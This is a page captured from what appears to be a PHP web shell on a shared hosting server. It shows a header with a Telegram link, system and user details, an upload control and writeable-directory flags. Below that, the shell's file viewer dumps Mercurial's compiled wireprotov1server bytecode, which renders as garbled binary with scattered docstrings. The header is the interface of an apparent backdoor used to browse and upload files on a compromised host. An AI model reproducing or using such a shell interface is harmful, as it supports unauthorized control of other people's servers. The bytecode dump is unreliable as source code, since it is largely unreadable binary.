https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/mercurial/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/mercurial/__pycache__/wireprotov1server.cpython-310.pyc
o

�]LbQi�@s�ddlmZddlZddlZddlmZddlmZddlm	Z	ddl
mZmZm
ZmZmZmZmZmZmZmZmZmZmZddlmZmZejZejZed	�Zed
�Z dee fZ!dd
�Z"dd�Z#dd�Z$dd�Z%dd�Z&e�'�Z(dfdd�Z)e)dddd�dd��Z*e)dd dd�d!d"��Z+e)d#dd�d$d%��Z,e)d&d'dd�d(d)��Z-e)d*d+dd�d,d-��Z.gd.�Z/d/d0�Z0e)d1dd�d2d3��Z1e)d4d5dd�d6d7��Z
e)d8d9dd�d:d;��Z2e)d<d=dd�d>d?��Z3d@dA�Z4e)dBdCdd�dDdE��Z5e)dFdd�dGdH��Z6e)dIdd�dJdK��Z7e)dLdMdd�dNdO��Z8e)dPdQdd�dRdS��Z9e)dTdUdd�dVdW��Z:e)dXdYdd�dZd[��Z;e)d\d]dd�d^d_��Ze)d`dd�dadb��Z<e)dcdFdd�ddde��Z=dS)g�)�absolute_importN�)�_)�hex)�getattr)
�bundle2�bundlecaches�changegroup�	discovery�encoding�error�exchange�pushkey�pycompat�requirements�streamclone�util�wireprototypes)�procutil�
stringutils/incompatible Mercurial client; bundle2 requireds9see https://www.mercurial-scm.org/wiki/IncompatibleClients%s
(%s)
cCs6|��D]}|�d�r|dd��d�SqddgS)aReturns a list of compression methods supported by the client.

    Returns a list of the compression methods supported by the client
    according to the protocol capabilities. If no such capability has
    been announced, fallback to the default of zlib and uncompressed.
    scomp=�N�,szlibsnone)�getprotocaps�
startswith�split)�proto�cap�r�=/usr/lib/python3/dist-packages/mercurial/wireprotov1server.py�clientcompressionsupport0s

�rcCs|j�dd�}|�|�S)z�Obtain the repo used for processing wire protocol commands.

    The intent of this function is to serve as a monkeypatch point for
    extensions that need commands to operate on different repo views under
    specialized circumstances.
    �serversview)�ui�config�filtered)�repor�command�
viewconfigrrr�getdispatchrepo@s
r'cCs4t|||�}t|\}}|�|�}|||g|�R�S�N)r'�commands�getargs)r$rr%�func�spec�argsrrr�dispatchKs
r.cCsJi}|D]}||vr||||<||=q|r#tj�d|d�|�f�|S)Ns,warning: %s ignored unexpected arguments %s
r)r�stderr�write�join)�cmd�keys�others�opts�krrr�optionsTs���r7cCsv|j}tj|jv}|r|�dd|�}|dur|S|�dd|�}|dur'|S|r5|�dd�}|dur5|S|�dd�S)z�Whether a bundle1 operation is allowed from the server.

    Priority is:

    1. server.bundle1gd.<action> (if generaldelta active)
    2. server.bundle1.<action>
    3. server.bundle1gd (if generaldelta active)
    4. server.bundle1
    r sbundle1gd.%sNs
bundle1.%ss	bundle1gdsbundle1)r!�requirementsmod�GENERALDELTA_REQUIREMENTr�
configbool)r$�actionr!�gd�vrrr�bundle1allowedbs
r>�pushcs`dd�tj��D���dvrt�d����durd�t�t�s%t�d������fdd	�}|S)
a�Decorator to declare a wire protocol command.

    ``name`` is the name of the wire protocol command being provided.

    ``args`` defines the named arguments accepted by the command. It is
    a space-delimited list of argument names. ``*`` denotes a special value
    that says to accept all named arguments.

    ``permission`` defines the permission type needed to run this command.
    Can be ``push`` or ``pull``. These roughly map to read-write and read-only,
    respectively. Default is to assume command requires ``push`` permissions
    because otherwise commands not declaring their permissions could modify
    a repository that is supposed to be read-only.
    cSs h|]\}}|ddkr|�qS)sversionrr)�.0r6r=rrr�	<setcomp>�sz#wireprotocommand.<locals>.<setcomp>�r?�pullsCinvalid wire protocol permission; got %s; expected "push" or "pull"N�s:arguments for version 1 commands must be declared as bytescs0�tvrt�d���tj|���d�t�<|S)Ns+%s command already registered for version 1)r-�
transports�
permission)r)r�ProgrammingErrorr�commandentry)r+�r-�namerFrErr�register�s�
�z"wireprotocommand.<locals>.register)r�
TRANSPORTS�itemsrrG�
isinstance�bytes)rJr-rFrKrrIr�wireprotocommand�s"���
�rPsbatchscmds *rC)rFcsptj}g}|�d�D]�}|�dd�\}}i}	|�d�D]}
|
r.|
�d�\}}||�|	||�<qt|\}
}t|j}|dvs@J�|�|�|r�|��}i�|D]$}|dkrmi}|	��D]}||vrg|	|||<q[|�d<qO|	|�|<qO|
||g�fdd	�|D��R�}n|
||�}t|tj�r�|St|tj	t
f�s�J�t|tj	�r�|j}|�t�
|��q
t�	d�|��S)
N�;� rr�=rB�*csg|]}�|�qSrr)r@r6��datarr�
<listcomp>�szbatch.<locals>.<listcomp>)r�unescapebatchargrr)rF�	checkpermr3rN�ooberror�
bytesresponserOrV�append�escapebatchargr1)r$r�cmdsr4�unescapearg�res�pair�opr-�vals�a�nr=r+r,�permr3r6�star�key�resultrrUr�batch�sF�

�
"
rjsbetweenspairscCsLdd�|�d�D�}g}|�|�D]}|�t�|�d�qt�d�|��S)NcSsg|]}t�|d��qS)�-)r�
decodelist)r@�prrrrW�szbetween.<locals>.<listcomp>rR�
rD)r�betweenr\r�
encodelistr[r1)r$r�pairs�r�brrrro�s
ro�	branchmapcCs\|��}g}t�|�D]\}}t�t�|��}t�|�}|�	d||f�qt�
d�|��S)Ns%s %srn)�	branchmapr�	iteritems�urlreq�quoter�	fromlocalrrpr\r[r1)r$rru�heads�branch�nodes�
branchname�branchnodesrrrru�s
rusbranches�nodescCsBt�|�}g}|�|�D]}|�t�|�d�qt�d�|��S)NrnrD)rrl�branchesr\rpr[r1)r$rr|rrrsrrrr��s

r�sclonebundlesrDcCst�|j�tj��S)aZServer command for returning info for available bundles to seed clones.

    Clients will parse this response and determine what bundle to fetch.

    Extensions may wrap this command to filter or dynamically emit data
    depending on the request. e.g. you could advertise URLs for the closest
    data center given the client's IP address.
    )rr[�vfs�tryreadr�CB_MANIFEST_FILE�r$rrrr�clonebundless
�r�)�lookuprt�pushkey�known�	getbundlesunbundlehashcCstt�}t�d|�r|�d�t�|�r=|j�dd�r |�d�t�	|�}|t
jhs1|�d�n|�dd�t
|���|j�dd	�rXt�tj|dd
��}|�dt�|��|�dd�tj��|j�dd
�r}|�tj�|j�dd�r}|�tj�|�||�S)a)return a list of capabilities for a repo

    This function exists to allow extensions to easily wrap capabilities
    computation

    - returns a lists: easy to alter
    - change done here will be propagated to both `capabilities` and `hello`
      command without any other action needed.
    �changegroupsubsetr spreferuncompressedsstream-preferredsstreams
streamreqs=%srsexperimentalsbundle2-advertise)�rolesbundle2=sunbundle=%ssnarrowsnarrowservebrokenellipses)�list�
wireprotocapsr)�commandavailabler\r�allowservergenerationr!r:�streamed_requirementsr8�REVLOGV1_REQUIREMENTr1�sortedr�
encodecaps�getrepocapsrwrx�bundlepriorityr�	NARROWCAP�ELLIPSESCAP�addcapabilities)r$r�caps�requiredformats�capsblobrrr�
_capabilitiess&



r�scapabilitiescCst||�}t�d�t|���S)NrR)r�rr[r1r��r$rr�rrr�capabilitiesEs
r�schangegroupsrootscsLt�|�}tj|||��d�}t�||dd��t�fdd�d�}tj|d�S)N��missingroots�ancestorsof�01�servec�
��d�S�Ni���readr��cgrr�<lambda>R�
zchangegroup.<locals>.<lambda>rD��gen)	rrlr
�outgoingrz�changegroupmod�makechangegroup�iter�	streamres)r$r�rootsr|r�r�rr�rr	Ks

�r	r�sbases headscsRt�|�}t�|�}tj|||d�}t�||dd��t�fdd�d�}tj|d�S)Nr�r�r�cr�r�r�rr�rrr�\r�z#changegroupsubset.<locals>.<lambda>rDr�)rrlr
r�r�r�r�r�)r$r�basesrzr�r�rr�r�changegroupsubsetVs

r��
debugwireargss	one two *cCs0tdddg|�}t�|j||fit�|����S)Nr�sthreesfour)r7rr[�
debugwireargsr�	strkwargs)r$r�one�twor4r5rrrr�`s�r�c	s�dd�}|j�d�}|sdSt�||�}t�||�}|sdS|��j��j�fdd�|D�dd���j�fd	d�|D�dd��t|�}	|D]�}
|
�	d
�}t
jj�	|�}|r^||	vr^||	vr^qEd|
vr�z||
d�}
Wn	t
ysYqEw|
�|�rzqEt��fdd
�|
D��r�qEt���fdd
�|
D��r�qEd|
vr�z||
d�}Wn	t
y�YqEwt��fdd
�|D��s�qE|
d}|j�d|�z	|j�|�WSty�|j�d|�YqEwdS)a�Return a file object for the first matching pullbundle.

    Pullbundles are specified in .hg/pullbundles.manifest similar to
    clonebundles.
    For each entry, the bundle specification is checked for compatibility:
    - Client features vs the BUNDLESPEC.
    - Revisions shared with the clients vs base revisions of the bundle.
      A bundle can be applied only if all its base revisions are known by
      the client.
    - At least one leaf of the bundle's DAG is missing on the client.
    - Every leaf of the bundle's DAG is part of node set the client wants.
      E.g. do not send a bundle of all changes if the client wants only
      one specific branch of many.
    cSsdd�|�d�D�S)NcSsh|]}t�|��qSr)�binascii�	unhexlify)r@�hrrrrAz�z;find_pullbundle.<locals>.decodehexstring.<locals>.<setcomp>rQ)r)�srrr�decodehexstringysz(find_pullbundle.<locals>.decodehexstringspullbundles.manifestNc�g|]}��|��qSr��rev�r@r���clrrrW�r�z#find_pullbundle.<locals>.<listcomp>T)�	inclusivecr�rr�r�r�rrrW�r�sCOMPRESSION�headsc3��|]
}��|��vVqdSr(r�r��r��
common_ancrr�	<genexpr>���z"find_pullbundle.<locals>.<genexpr>c3s,�|]}��|��vo��|��vVqdSr(r�r��r�r��	heads_ancrrr��s
��
�sbasesc3r�r(r�r�r�rrr��r�sURLssending pullbundle "%s"
spullbundle "%s" not accessible
)r�r�r�parseclonebundlesmanifest�filterclonebundleentries�
unfiltered�	changelog�	ancestorsr�getr�compengines�_bundlenames�	TypeError�issubset�all�anyr!�debug�open�IOError)r$rr5�clheadsrz�commonr��manifestr`�compformats�entry�comp�altcomp�bundle_heads�bundle_bases�pathrr�r�find_pullbundleis`

�
���r�r�rTc
Cs�tdtj��|�}t�|�D]O\}}tj|}|dkr#t�|�||<q|dkr1t|�d��||<q|dkr?t	|�d��||<q|dkrS|dkrLd||<qt
|�||<q|d	kr]td
|��qt|d�s|t
�|�d��s||jd
krut�t�Stjttd��zyt	|j���}t	|�dt	���}t	|�dt	���}	|	�|j�|j�dd�r�d|��vr�t||||||	�}
|
r�tjt �!|
�dd�WS|j�dd�r�|�dd�}|r�|	s�||kr�tjt"d�t"d�d��t
j#|dfit�$|���\}}
|�dd�}Wn^tj�yS}zPt
�|�d���s|jd
k�rt�|j%d�WYd}~S�t&�'|j�}d|j%fg}g}|j(du�r9|�)d|j(f�|�*t&�+d||��|�,�}
d}WYd}~nd}~wwtj|
|d�S) Nr�rscsvrsscsvsboolean�0Fsplains unknown getbundle option type %srCs
bundlecaps�http-v1��hintr�scommonr s
pullbundlespartial-pullT)r��prefer_uncompressedsdisablefullbundlescgs%server has pull-based clones disableds/remove --pull if specified or upgrade Mercurialr�sprefercompressedrn�message�hint�error:abort)-r7r�GETBUNDLE_ARGUMENTSr3rrvrlr�r�set�bool�KeyErrorr>r
�bundle2requestedr�rJrZ�bundle2requiredr�Abort�bundle2requiredmain�bundle2requiredhintr�rz�discard�nullidr!r:rr�r�r�
filechunkiterr�getbundlechunksr��messager�bundle20r�r\�addpart�
bundlepart�	getchunks)r$rr4r5r6r=�keytyper�rzr��bundler	�info�chunks�prefercompressed�exc�bundler�manargs�advargsrrr�	getbundle�s��

�


�
���
����r
r�cCs|��}t�t�|�d�S)Nrn)rzrr[rp)r$rr�rrrrz�srzshellocCst||�j}t�d|�S)afCalled as part of SSH handshake to obtain server info.

    Returns a list of lines describing interesting things about the
    server, in an RFC822-like format.

    Currently, the only one defined is ``capabilities``, which consists of a
    line of space separated tokens describing server abilities:

        capabilities: <token0> <token1> <token2>
    scapabilities: %s
)r�rVrr[r�rrr�hellosrslistkeys�	namespacecCs(t|�t�|�����}t�t�|��Sr()	r��listkeysr�tolocalrMrr[�
pushkeymod�
encodekeys)r$r�	namespace�drrrrsrr��keyc
Csjzt�|�}|�|�}t|�}d}Wnty+}z
t�|�}d}WYd}~nd}~wwt�d||f�S)Nrrs%d %s
)	rr�lookupr�	Exceptionr�forcebytestrrr[)r$rrhr6rerr�success�instrrrrs


��rr�snodes *cCs*d�dd�|�t�|��D��}t�|�S)NrDcss�|]	}|rdp	dVqdS)�1r�Nr)r@rsrrrr�)s�
�zknown.<locals>.<genexpr>)r1�knownrrlr[)r$rr|r4r=rrrr's
�
rs	protocapsscapscCs&|jtjkrt|�d��|_t�d�S)NrRsOK)rJr�SSHV1r�r�
_protocapsr[r�rrr�	protocaps/s
r r�snamespace key old newcCs�t|�dkr#t�|�|kr#z|�d�t�|�}Wnty"Ynwt�|�}|���}|�t�|�t�|�t�|�|�p?d}Wd�n1sJwY|rU|�	�nd}t
�dt|�|f�S)N�zutf-8FrDs%d
%s)
�lenr�	escapestr�decoderr�UnicodeDecodeError�mayberedirectstdior�getvaluerr[�int)r$rrrh�old�new�outputrrrrrr6s(
�

���rs
stream_outcCst�t�|��S)z�If the server supports streaming clone, it advertises the "stream"
    capability with a value representing the version and flags of the repo
    it is serving. Client checks to see if it understands the format.
    )r�streamreslegacyr�generatev1wireprotor�rrr�streamSsr.sunbundlecs$t�|�}|����}}z�t�||d�dd�}z�|���|j�dd�r/�fdd�}t�	���n3d\����fd	d�}t
jd
d�\}�|j�d��t
�|t
�d
����D]}��|�qU��d�t�|j�d�}t|tj�r�t|d�s�|jdkr�t�t�W|�WWd�Stjttd��t�|||d|���}	t� |	d�r�tj!|	�"�d�W|�WWd�St�#|	|r�|�$�nd�W|�WWd�S|�wtj%tjtj&f�y�}
�z�t'|
dd��sMz�tj�y%}
z-t(j)�|
�*��t(j)�+�t�#d|�r|�$�nd�WYd}
~
WYd}
~
Wd�Sd}
~
wtj&�yLt�,t
�-|
�|�r:|�$�nd�YWYd}
~
Wd�Swt.�/|j�}t'|
dd�D]}|�0|��qYz�z�tj1�y�}
zrt'|
dd�}
|
du�r�d|
�2dd�v�r��|�3d�}|�4d|
j5�|
j6du�r�|j4d|
j6dd �|
j7du�r�|j4d!|
j7dd �|
j8du�r�|j4d"|
j8dd �|
j9du�r�|j4d#|
j9dd �|
j:du�r�|j4d$|
j:dd �WYd}
~
nd}
~
wwWn�tj%�y}
z&|�3d%�}|
j;du�r|�4d&|
j;�|
j<�r|�4d'd(�=|
j<��WYd}
~
nWd}
~
wtj�yM}
z&d)|
j>fg}g}|
j?du�r9|�@d*|
j?f�|�0t.�Ad+||��WYd}
~
n$d}
~
wtj&�yl}
z|�3d,d)tB�C|
�fg�WYd}
~
nd}
~
wwtj!|�"�d�WYd}
~
Wd�Sd}
~
ww1�s�wYdS)-Nspreparing changescSsdSr(rrrrrr�cszunbundle.<locals>.<lambda>r sstreamunbundlecs�D]}qdSr(r)rm)�payloadrr�cleanuphs�zunbundle.<locals>.cleanup)NNcs"�r����rt���dSdSr()�close�os�unlinkr)�fp�tempnamerrr0ss
�shg-unbundle-)�prefixs"redirecting incoming bundle to %s
swb+rr?r�r�r�saddpartr�rD�duringunbundle2F�_bundle2salvagedoutputr�
_replycapsr�serrors
error:pushkeysin-reply-tor)�	mandatoryrsnewsoldsretserror:unsupportedcontentsparttypesparams�r�r�r�serror:pushraced)Drrlr&r
�check_heads�
getpayloadr!r:r�chunkbufferr�mkstempr�r2�fdopen�sysstrr0�seek�
readbundlerNr��cg1unpackerr>rJrZr�rr�r�r��unbundle�client�safehasattrr,r�pushresr'�BundleValueError�	PushRacedrrr/�format�flush�pusherr�bytestrrrr�
PushkeyFailedr��newpart�addparam�partidrrhr*r)�ret�parttype�paramsr1r�r�r\rrr)r$rrz�their_headsr+r0�fdrmr�rrr	r
�out�
remotecaps�part�errpartrrr)r4r/r5rrE\s�
�
��

�,���7��<
���M��M

����
���������>�rE)Nr?)>�
__future__rr�r2�i18nr�noderrr�rrr	r�r
rrr
rrrr8rrr�utilsrr�urlerrrwr�r�r�rr'r.r7r>�commanddictr)rPrjrorur�r�r�r�r�r�r�r�r
rzrrrrr r.rErrrr�<module>s~<�	
0
-

	

	


+



	
F

N











https://t.me/RX1948 - 2025